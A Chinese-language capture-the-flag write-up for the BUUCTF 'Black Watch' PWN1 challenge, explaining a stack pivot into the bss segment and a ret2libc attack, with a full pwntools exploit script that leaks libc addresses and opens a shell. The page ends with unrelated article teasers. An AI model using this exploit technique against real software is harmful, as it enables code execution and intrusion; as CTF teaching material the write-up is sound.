BUUCTF [Black Watch 入群題]PWN1 題解

1.下載文件 exeinfo checksec

?

32位 IDA32

看到關鍵函數?

read兩次 第一次read的變量s在bss段;第二次的buf到ebp距離為 24 但是第二次的read字節只能剛好填滿返回地址 傳不進去變量

所以想到棧遷移 將棧移動到變量s所在位置上來

同時 這題開了NX 無直接的binsh和system 用libc做題

先將libc的套路傳入到變量s中

同時需要空出前面的四字節使得棧遷移的指針停在這

main_addr = 0x8048513
lea_ret_addr = 0x8048511
plt_write = elf.plt['write']
got_write = elf.gor['write']payload1 = b'a' * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(got_write) + p32(4)
p.sendafter("name?", payload1)

然后構造payload2讓程序執行leave ret

因為想要將ebp移動到bss段上的變量s 所以ebp設置為s的地址

payload2 = b'a' * 0x18 + p32(bss_s_addr) + p32(lea_ret_addr)
p.sendafter("say?", payload2)

接下來就是常規的libc

exp:

from pwn import *#p = process('./spwn')
p = remote("node5.buuoj.cn", 29085)elf = ELF('./spwn')
main_addr = 0x8048513
lea_ret_addr = 0x8048511
plt_write = elf.plt['write']
got_write = elf.got['write']
bss_s_addr = 0x804A300payload1 = b'a' * 4 + p32(plt_write) + p32(main_addr) + p32(1) + p32(got_write) + p32(4)
p.sendafter("name?", payload1)payload2 = b'a' * 0x18 + p32(bss_s_addr) + p32(lea_ret_addr)
p.sendafter("say?", payload2)write_addr = u32(p.recv(4))libc = ELF('./libc-2.23.so')
offset = write_addr - libc.symbols['write']
binsh = offset + libc.search('/bin/sh').__next__()
system = offset + libc.symbols['system']payload3 = b'aaaa' + p32(system) + b'aaaa' + p32(binsh)
p.sendafter("name?", payload3)p.sendafter("say?", payload2)
p.interactive()

運行 得到flag:

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/894384.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/894384.shtml
英文地址,請注明出處:http://en.pswp.cn/news/894384.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

CentOS 上安裝 Go (Golang)

1. 檢查系統環境 確保系統為 CentOS 7 或 CentOS 8,或者其他兼容的 Linux 發行版。 cat /etc/os-release2. 安裝依賴 安裝一些必要的工具: sudo yum update -y sudo yum install -y wget tar3. 下載 Go 從 Go 官方下載頁面獲取適用于 Linux 的最新版…

chrome源碼剖析—進程通信

Chrome 瀏覽器采用多進程架構(multi-process architecture),這種架構使得每個瀏覽器標簽、擴展、插件、GPU 渲染等都在獨立的進程中運行。為了確保不同進程之間的高效通信,Chrome 使用 進程間通信(IPC, Inter-Process …

Cubemx文件系統掛載多設備

cubumx版本:6.13.0 芯片:STM32F407VET6 在上一篇文章中介紹了Cubemx的FATFS和SD卡的配置,由于SD卡使用的是SDIO通訊,因此具體驅動不需要自己實現,Cubemx中就可以直接配置然后生成SDIO的驅動,并將SD卡驅動和…

java練習(2)

回文數(題目來自力扣) 給你一個整數 x ,如果 x 是一個回文整數,返回 true ;否則,返回 false 。 回文數 是指正序(從左向右)和倒序(從右向左)讀都是一樣的整…

使用 Tauri 2 + Next.js 開發跨平臺桌面應用實踐:Singbox GUI 實踐

Singbox GUI 實踐 最近用 Tauri Next.js 做了個項目 - Singbox GUI,是個給 sing-box 用的圖形界面工具。支持 Windows、Linux 和 macOS。作為第一次接觸這兩個框架的新手,感覺收獲還蠻多的,今天來分享下開發過程中的一些經驗~ 為啥要做這個…

ComfyUI安裝調用DeepSeek——DeepSeek多模態之圖形模型安裝問題解決(ComfyUI-Janus-Pro)

ComfyUI 的 Janus-Pro 節點,一個統一的多模態理解和生成框架。 試用: https://huggingface.co/spaces/deepseek-ai/Janus-1.3B https://huggingface.co/spaces/deepseek-ai/Janus-Pro-7B https://huggingface.co/spaces/deepseek-ai/JanusFlow-1.3B 安裝…

索引的底層數據結構、B+樹的結構、為什么InnoDB使用B+樹而不是B樹呢

索引的底層數據結構 MySQL中常用的是Hash索引和B樹索引 Hash索引:基于哈希表實現的,查找速度非常快,但是由于哈希表的特性,不支持范圍查找和排序,在MySQL中支持的哈希索引是自適應的,不能手動創建 B樹的…

RK3568中使用QT opencv(顯示基礎圖像)

文章目錄 一、查看對應的開發環境是否有opencv的庫二、QT使用opencv一、查看對應的開發環境是否有opencv的庫 在開發板中的/usr/lib目錄下查看是否有opencv的庫: 這里使用的是正點原子的ubuntu虛擬機,在他的虛擬機里面已經安裝好了opencv的庫。 二、QT使用opencv 在QT pr…

29.Word:公司本財年的年度報告【13】

目錄 NO1.2.3.4 NO5.6.7? NO8.9.10? NO1.2.3.4 另存為F12:考生文件夾:Word.docx選中綠色標記的標題文本→樣式對話框→單擊右鍵→點擊樣式對話框→單擊右鍵→修改→所有腳本→顏色/字體/名稱→邊框:0.5磅、黑色、單線條:點…

【數據分析】案例03:當當網近30日熱銷圖書的數據采集與可視化分析(scrapy+openpyxl+matplotlib)

當當網近30日熱銷圖書的數據采集與可視化分析(scrapy+openpyxl+matplotlib) 當當網近30日熱銷書籍官網寫在前面 實驗目的:實現當當網近30日熱銷圖書的數據采集與可視化分析。 電腦系統:Windows 使用軟件:Visual Studio Code Python版本:python 3.12.4 技術需求:scrapy、…

數據庫對象

數據庫對象 數據庫對象是構成數據庫結構的基本單位,它們定義了數據庫存儲的數據類型、數據的組織方式以及數據之間的關系。在數據庫中,對象可以包括表,視圖,索引,觸發器,存儲過程,函數等多種類…

Super AGI 2025 ,人形機器人,芯片半導體,價值+量化投資最佳實踐

Super AGI 2025:人形機器人、芯片半導體與價值量化投資最佳實踐 關鍵詞:Super AGI、人形機器人、芯片半導體、價值投資、量化投資、技術趨勢、投資策略 摘要:本文探討了Super AGI、人形機器人和芯片半導體領域的發展前景,并結合價…

AI學習指南Ollama篇-使用Ollama構建自己的私有化知識庫

一、引言 (一)背景介紹 隨著企業對數據隱私和效率的重視,私有化知識庫的需求日益增長。私有化知識庫不僅可以保護企業數據的安全性,還能提供高效的知識管理和問答系統,提升企業內部的工作效率和創新能力。 (二)Ollama和AnythingLLM的結合 Ollama和AnythingLLM的結合…

省級-新質生產力數據(2010-2022年)-社科數據

省級-新質生產力數據(2010-2022年)-社科數據https://download.csdn.net/download/paofuluolijiang/90028612 https://download.csdn.net/download/paofuluolijiang/90028612 新質生產力是指在現代科技和經濟社會發展的推動下,由新的生產要素…

用一個例子詳細說明python單例模式

單例模式是一種設計模式,它確保一個類只有一個實例,并提供一個全局訪問點來訪問該實例。這在需要控制資源(如數據庫連接、文件系統等)的訪問時非常有用。 下面是一個使用Python實現單例模式的例子: class Singleton:…

【PyTorch】7.自動微分模塊:開啟神經網絡 “進化之門” 的魔法鑰匙

目錄 1. 梯度基本計算 2. 控制梯度計算 3. 梯度計算注意 4. 小節 個人主頁:Icomi 專欄地址:PyTorch入門 在深度學習蓬勃發展的當下,PyTorch 是不可或缺的工具。它作為強大的深度學習框架,為構建和訓練神經網絡提供了高效且靈活…

【數據分析】案例04:豆瓣電影Top250的數據分析與Web網頁可視化(numpy+pandas+matplotlib+flask)

豆瓣電影Top250的數據分析與Web網頁可視化(numpy+pandas+matplotlib+flask) 豆瓣電影Top250官網:https://movie.douban.com/top250寫在前面 實驗目的:實現豆瓣電影Top250詳情的數據分析與Web網頁可視化。電腦系統:Windows使用軟件:PyCharm、NavicatPython版本:Python 3.…

Ubuntu20.04 深度學習環境配置(持續完善)

文章目錄 常用的一些命令安裝 Anaconda創建conda虛擬環境查看虛擬環境大小 安裝顯卡驅動安裝CUDA安裝cuDNN官方倉庫安裝 cuDNN安裝 cuDNN 庫驗證 cuDNN 安裝確認 CUDA 和 cuDNN 是否匹配: TensorRT下載 TensorRT安裝 TensorRT 本地倉庫配置 GPG 簽名密鑰安裝 Tensor…

元宇宙與Facebook:社交互動的未來方向

隨著技術的飛速發展,元宇宙逐漸成為全球科技領域關注的焦點。作為一種集沉浸式體驗、虛擬空間和數字社交互動為一體的新型平臺,元宇宙正在重新定義人類的社交方式。而在這一變革中,Facebook(現改名為Meta)作為全球領先…

【趙渝強老師】K8s中Pod探針的ExecAction

在K8s集群中,當Pod處于運行狀態時,kubelet通過使用探針(Probe)對容器的健康狀態執行檢查和診斷。K8s支持三種不同類型的探針,分別是:livenessProbe(存活探針)、readinessProbe&#…